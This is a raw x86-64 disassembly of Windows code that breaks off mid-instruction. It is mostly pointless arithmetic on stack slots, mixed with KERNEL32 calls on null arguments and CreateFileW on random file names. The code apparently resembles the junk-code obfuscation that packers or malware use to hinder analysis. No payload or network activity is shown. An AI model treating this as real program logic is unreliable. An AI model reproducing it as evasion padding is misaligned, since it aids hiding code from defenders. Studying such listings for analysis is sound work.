mov rax, qword [rsp + 0xc120]
mov rcx, qword [rsp + 0xd6d0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8c78], rax
mov r9d, 0x2234
xor r8d, r8d
lea rdx, [rsp + 0xc1e0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x494c], eax
lea rdx, [rsp + 0x4e2c]
mov rcx, qword [rsp + 0xd0c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c24], eax
mov rax, qword [rsp + 0xa878]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x928]
add eax, ecx
mov rcx, qword [rsp + 0xd818]
mov word [rcx], ax
mov rax, qword [rsp + 0xa698]
mov rax, qword [rax]
mov qword [rsp + 0xd8c8], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3c8], al
mov eax, dword [rsp + 0x3e0c]
mov ecx, dword [rsp + 0x4cfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x49a4], eax
mov eax, dword [rsp + 0x3a7c]
mov dword [rsp + 0x4e30], eax
movzx eax, byte [rsp + 0x417]
mov rcx, qword [rsp + 0x9b18]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb788]
mov byte [rcx], al
mov rax, qword [rsp + 0xa510]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16bc]
and eax, ecx
mov word [0x14022a204], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1530], ax
movzx eax, word [rsp + 0xa64]
mov rcx, qword [rsp + 0xb220]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1f08], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xb06e
mov rcx, qword [rsp + 0xcaf0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4800], eax
mov rax, qword [rsp + 0xd048]
mov rax, qword [rax]
mov qword [rsp + 0xd8d0], rax
mov rax, qword [rsp + 0xa3d8]
mov rcx, qword [rsp + 0xd600]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4584], eax
mov rax, qword [rsp + 0xcd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ff8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov rcx, qword [0x14022b808]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8290], rax
lea rcx, [rsp + 0xb840]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0xb158]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x1f54]
mov rcx, qword [rsp + 0xa460]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10c0], ax
movzx eax, word [rsp + 0x80c]
mov word [rsp + 0x21ec], ax
mov rax, qword [rsp + 0xa960]
mov rcx, qword [rsp + 0xb7f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14022bb98]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2098]
mov rcx, qword [rsp + 0xb910]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc828]
mov word [rcx], ax
mov rax, qword [0x14022bf38]
mov rcx, qword [rsp + 0x90b8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x94a0], rax
lea rcx, [rsp + 0xd8d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa808]
mov rax, qword [rax]
mov qword [rsp + 0xd8e0], rax
mov rax, qword [rsp + 0xbd80]
mov ecx, dword [rsp + 0x48d8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3ef4], eax
lea rax, [0x14022b808]
mov qword [rsp + 0xd8e8], rax
mov rax, qword [rsp + 0xc968]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbae8]
mov qword [rsp + 0xd8f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd8f0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc510]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xf3]
mov rcx, qword [rsp + 0xab20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x354], al
movsx eax, byte [0x14022b810]
mov rcx, qword [rsp + 0xbeb8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9d], al
movzx eax, word [rsp + 0xea0]
mov word [0x14022c134], ax
movsx eax, word [rsp + 0xa70]
mov rcx, qword [rsp + 0xb680]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1930], ax
lea rax, [rsp + 0x1cc0]
mov qword [rsp + 0xd8f8], rax
mov rax, qword [rsp + 0xca00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd478]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb0c], ax
mov rax, qword [rsp + 0xcd08]
mov eax, dword [rax]
mov dword [rsp + 0x4e34], eax
movsx eax, byte [0x14022b810]
movsx ecx, byte [rsp + 0x3e4]
xor eax, ecx
mov byte [rsp + 0x34c], al
mov rax, qword [rsp + 0xb0f0]
mov rcx, qword [rsp + 0x9988]
mov qword [rsp + 0xd900], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd900]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9ec0], rax
mov rax, qword [rsp + 0xbcb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e90]
add eax, ecx
mov word [rsp + 0x8f0], ax
movzx eax, word [rsp + 0x1ed0]
mov rcx, qword [rsp + 0xc9d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ea4], ax
lea rax, [rsp + 0xb8c8]
mov qword [0x14022c138], rax
mov rax, qword [rsp + 0xac88]
mov qword [rsp + 0xd908], rax
mov rax, qword [rsp + 0xb268]
mov rax, qword [rax]
mov rcx, qword [0x14022b8e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaba0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e38]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb178], rax
mov rax, qword [rsp + 0xb388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x9b38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b24], eax
movzx eax, byte [rsp + 0x19e]
mov byte [rsp + 0x418], al
mov rax, qword [0x14022ba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc5d0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3b8], al
mov rax, qword [rsp + 0xd898]
mov rcx, qword [rsp + 0xd000]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xcff0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb4b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x416c]
shl eax, cl
mov rcx, qword [0x14022b890]
mov dword [rcx], eax
lea rax, [rsp + 0x964]
mov qword [rsp + 0xd910], rax
movsx eax, word [rsp + 0x1e6c]
mov rcx, qword [rsp + 0xd538]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb270]
mov word [rcx], ax
lea rax, [rsp + 0x176c]
mov qword [rsp + 0xd918], rax
mov rax, qword [0x14022b888]
mov rcx, qword [rsp + 0xad50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbd98]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb048]
mov rcx, qword [rsp + 0xc500]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9870], rax
movzx eax, byte [rsp + 0x39b]
mov byte [rsp + 0x419], al
xor edx, edx
mov rax, qword [0x14022bbe0]
mov eax, dword [rax]
mov ecx, 0xd5cc
div ecx
mov dword [rsp + 0x49a4], eax
movsx eax, word [rsp + 0x1f8c]
mov rcx, qword [rsp + 0xa1d8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe98], ax
mov rax, qword [rsp + 0xbba8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20ec]
add eax, ecx
mov word [0x14022a208], ax
mov rax, qword [rsp + 0xc020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc40], rax
mov rax, qword [rsp + 0xbba8]
movzx eax, word [rax]
mov word [rsp + 0x21f0], ax
mov rax, qword [rsp + 0xafa0]
mov ecx, dword [rsp + 0x4ab0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4aec], eax
movzx eax, byte [rsp + 0x40e]
mov rcx, qword [rsp + 0xac50]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x383], al
lea rdx, [rsp + 0x4dcc]
mov rcx, qword [rsp + 0xc2f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49cc], eax
lea rax, [rsp + 0x4c30]
mov qword [rsp + 0xd920], rax
mov rax, qword [rsp + 0xaf18]
mov rcx, qword [rsp + 0x9b58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa58], rax
lea rax, [rsp + 0x2de]
mov qword [rsp + 0xd928], rax
mov rax, qword [rsp + 0xc2b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb8f0]
mov word [rcx], ax
movzx eax, word [0x14022a110]
mov rcx, qword [rsp + 0xa338]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14022c0ac], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x621
mov rcx, qword [rsp + 0xc388]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4e38], eax
lea rcx, [rsp + 0xcbd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xad40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa388]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x76b0], rax
mov rax, qword [0x14022b880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bf8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7498], rax
mov rax, qword [rsp + 0xb278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd1e8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb4c], ax
mov rax, qword [rsp + 0xad80]
movzx eax, word [rax]
mov word [rsp + 0x21f4], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x7053
mov rcx, qword [rsp + 0xae08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4e10], eax
mov rax, qword [rsp + 0xbc28]
mov eax, dword [rax]
mov ecx, dword [0x14022a08c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa2f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb6a0]
mov rcx, qword [rsp + 0xa208]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7cd0], rax
movzx eax, byte [rsp + 0x69]
mov byte [rsp + 0x41a], al
mov rax, qword [rsp + 0x9be8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0c0], rax
mov rax, qword [rsp + 0xd860]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x21d4]
sar eax, cl
mov word [0x140229fd4], ax
lea rax, [rsp + 0x1260]
mov qword [rsp + 0xd930], rax
lea rcx, [rsp + 0xab60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.Z1XFPqbLOHh957N1SE11sU0rV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd938], rax
mov rax, qword [rsp + 0xcd58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x402c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c0], eax
lea rax, [rsp + 0x19e]
mov qword [rsp + 0xd940], rax
mov rax, qword [rsp + 0xab90]
mov rcx, qword [rsp + 0xd088]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x86c8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rcx, [rsp + 0xa488]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa288]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb6d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3c1], al
lea rax, [rsp + 0xa378]
mov qword [rsp + 0xd948], rax
xor edx, edx
mov eax, dword [rsp + 0x491c]
mov ecx, 0x6c24
div ecx
mov dword [rsp + 0x4a90], eax
movsx eax, word [rsp + 0x7e4]
mov rcx, qword [rsp + 0xc8e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1234], ax
mov rax, qword [rsp + 0xbb68]
movzx eax, word [rax]
mov word [0x14022c140], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [0x14022be28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa3d0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb810]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1468]
mov rcx, qword [rsp + 0xd930]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1624], ax
lea rax, [rsp + 0x1f28]
mov qword [rsp + 0xd950], rax
mov rax, qword [rsp + 0x8710]
movzx ecx, al
mov rax, qword [rsp + 0xd1a8]
shl rax, cl
mov qword [rsp + 0xa260], rax
lea rax, [rsp + 0x4e00]
mov qword [rsp + 0xd958], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd960], rax
mov rax, qword [rsp + 0xc370]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x211]
or eax, ecx
mov byte [rsp + 0x3da], al
mov rax, qword [rsp + 0xc488]
mov rcx, qword [rsp + 0x9730]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e60], rax
mov rax, qword [rsp + 0xbb40]
movzx eax, word [rax]
mov word [rsp + 0x21f8], ax
mov rax, qword [rsp + 0xcf08]
movzx ecx, al
mov rax, qword [rsp + 0x9a80]
sar rax, cl
mov rcx, qword [0x14022b948]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc3a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb540]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa630]
mov byte [rcx], al
mov rax, qword [rsp + 0xb7a8]
mov ecx, dword [rsp + 0x44e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3cf8], eax
mov rax, qword [rsp + 0xba98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12a8]
add eax, ecx
mov word [rsp + 0x1f90], ax
movzx eax, word [rsp + 0x1d68]
mov rcx, qword [rsp + 0xd7c0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x19c4], ax
mov rax, qword [rsp + 0xb7d0]
mov qword [rsp + 0xd968], rax
mov rax, qword [rsp + 0xb9f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac20]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x219], al
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0xc8f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa878]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd860]
mov word [rcx], ax
movzx eax, word [rsp + 0xb64]
mov word [0x14022c144], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x55a7
mov rcx, qword [rsp + 0xcfb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48b0], eax
lea rax, [0x140229fb8]
mov qword [rsp + 0xd970], rax
mov rax, qword [rsp + 0xae88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8800]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc100]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7b18]
mov rcx, qword [rsp + 0xa240]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6d0], rax
lea rax, [rsp + 0xdd8]
mov qword [rsp + 0xd978], rax
movsx eax, byte [rsp + 0x2a4]
movsx ecx, byte [rsp + 0x3d8]
or eax, ecx
mov byte [rsp + 0x180], al
lea rax, [rsp + 0x79f0]
mov qword [rsp + 0xd980], rax
mov rax, qword [rsp + 0xd028]
mov ecx, dword [rsp + 0x4db0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa250]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3dc8]
shl eax, cl
mov dword [rsp + 0x3cf8], eax
lea rax, [rsp + 0x19f]
mov qword [rsp + 0xd988], rax
mov rax, qword [rsp + 0xd6a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc668]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14022bae0], ax
movzx eax, word [rsp + 0x2068]
movzx ecx, word [rsp + 0x1e1c]
add eax, ecx
mov word [rsp + 0x19b8], ax
lea rdx, [rsp + 0x4e40]
mov rcx, qword [rsp + 0xbd08]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c38], eax
movzx eax, word [rsp + 0x950]
mov rcx, qword [0x14022beb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13c4], ax
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xb628]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb050]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb280]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbf40]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x411], al
lea rax, [rsp + 0x9ce8]
mov qword [rsp + 0xd990], rax
mov rax, qword [rsp + 0xb928]
mov rcx, qword [rsp + 0xa028]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc0c0]
mov dword [rcx], eax
lea rax, [rsp + 0x1d8c]
mov qword [rsp + 0xd998], rax
mov rax, qword [rsp + 0xa330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa1b0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb410]
mov word [rcx], ax
lea rax, [rsp + 0xc498]
mov qword [0x14022c148], rax
movzx eax, word [rsp + 0x2018]
movzx ecx, word [rsp + 0x1c0c]
sub eax, ecx
mov rcx, qword [rsp + 0xa000]
mov word [rcx], ax
lea rax, [0x14022bf10]
mov qword [rsp + 0xd9a0], rax
mov rax, qword [rsp + 0xb098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd688]
mov qword [rcx], rax
lea rax, [rsp + 0x9d18]
mov qword [rsp + 0xd9a8], rax
mov rax, qword [rsp + 0xa0f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc988]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbd20]
mov byte [rcx], al
movzx eax, byte [rsp + 0x3a2]
mov byte [rsp + 0x41b], al
mov rax, qword [rsp + 0xbae8]
mov ecx, dword [rsp + 0x41fc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4310], eax
mov rax, qword [rsp + 0xb4e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e00]
shl eax, cl
mov dword [rsp + 0x4dd0], eax
mov rax, qword [rsp + 0xcdb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc230]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14022a20c], ax
lea rax, [rsp + 0x106c]
mov qword [rsp + 0xd9b0], rax
movzx eax, word [rsp + 0x1e1c]
movzx ecx, word [rsp + 0x20f4]
sar eax, cl
mov word [rsp + 0x1e08], ax
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8fc], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4a5a
mov rcx, qword [rsp + 0xabe0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4ddc], eax
movsx eax, byte [rsp + 0x356]
mov rcx, qword [rsp + 0xbca8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37c], al
mov r9d, 0x1f68
xor r8d, r8d
lea rdx, [rsp + 0xa088]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a38], eax
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0xa1e8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc6a8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x4924]
mov qword [rsp + 0xd9b8], rax
movsx eax, word [rsp + 0x1e2c]
movsx ecx, word [rsp + 0x1ff4]
sub eax, ecx
mov word [rsp + 0x1da4], ax
lea rax, [rsp + 0x8e4]
mov qword [rsp + 0xd9c0], rax
mov rax, qword [rsp + 0xb500]
mov rcx, qword [rsp + 0xba10]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14022b840]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xc368]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xae88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbf70]
mov qword [rsp + 0xd9c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9c8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7668], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0xa7d0]
mov rcx, qword [rsp + 0x7b68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d38]
mov qword [rcx], rax
lea rdx, [rsp + 0x4e44]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b04], eax
mov rax, qword [rsp + 0x7030]
mov qword [rsp + 0xd9d0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rcx, [rsp + 0xa2b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0xbe0]
mov rcx, qword [rsp + 0xb220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8e4], ax
lea rax, [rsp + 0x354]
mov qword [rsp + 0xd9d8], rax
mov rcx, qword [rsp + 0xbd38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0xd9e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0x4aa0]
mov rcx, qword [rsp + 0xace8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a08], eax
mov rax, qword [rsp + 0xa8c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b44]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a34], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.L7An_sR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd9e8], rax
mov rax, qword [rsp + 0xc320]
mov rax, qword [rax]
mov rcx, qword [0x14022a048]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7bd8], rax
mov rax, qword [rsp + 0xa250]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x97e0]
mov qword [rsp + 0xd9f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9f0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc7f8]
mov dword [rcx], eax
lea rax, [rsp + 0x384]
mov qword [0x14022c150], rax
mov r9d, 0x23b9
xor r8d, r8d
lea rdx, [rsp + 0xa500]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4dc4], eax
mov rax, qword [0x14022be58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb6e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd860]
mov word [rcx], ax
mov rax, qword [rsp + 0x96a8]
movzx eax, word [rax]
mov word [rsp + 0x21fc], ax
lea rdx, [rsp + 0x4e48]
mov rcx, qword [rsp + 0xd248]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a74], eax
movzx eax, word [rsp + 0x2068]
mov rcx, qword [rsp + 0xb538]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2018], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xce6d
mov rcx, qword [rsp + 0xcfb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b84], eax
lea rax, [0x140229f20]
mov qword [rsp + 0xd9f8], rax
movsx eax, byte [rsp + 0x229]
movsx ecx, byte [rsp + 0x401]
sub eax, ecx
mov byte [rsp + 0x2e4], al
mov rax, qword [rsp + 0xc500]
mov rcx, qword [rsp + 0xaff0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcec0], rax
lea rax, [rsp + 0x396c]
mov qword [rsp + 0xda00], rax
mov rax, qword [rsp + 0xd998]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc24]
and eax, ecx
mov word [rsp + 0x19fc], ax
mov rax, qword [rsp + 0xaf68]
movzx eax, word [rax]
mov rcx, qword [0x14022ba60]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14022bd70]
mov word [rcx], ax
mov rcx, qword [rsp + 0xae20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xacd8]
mov rax, qword [rax]
mov qword [rsp + 0xda08], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xa8d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb588]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x20ac], ax
movzx eax, byte [rsp + 0x319]
movzx ecx, byte [0x140229f1d]
and eax, ecx
mov rcx, qword [rsp + 0xb360]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xac78]
mov qword [rsp + 0xda10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda10]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4058], eax
mov rax, qword [rsp + 0xbcf8]
mov rcx, qword [rsp + 0xa7e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa638], rax
lea rax, [rsp + 0x282]
mov qword [rsp + 0xda18], rax
mov rax, qword [rsp + 0xc430]
mov ecx, dword [rsp + 0x4c54]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4d94], eax
lea rcx, [rsp + 0xda20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa558]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf10]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b80], ax
movzx eax, word [rsp + 0xb10]
mov rcx, qword [rsp + 0xb170]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14022bdb8]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xac09
mov rcx, qword [rsp + 0xcd38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47d4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0xb1c0]
mov qword [rsp + 0xda28], rax
lea rcx, [rsp + 0xda30]
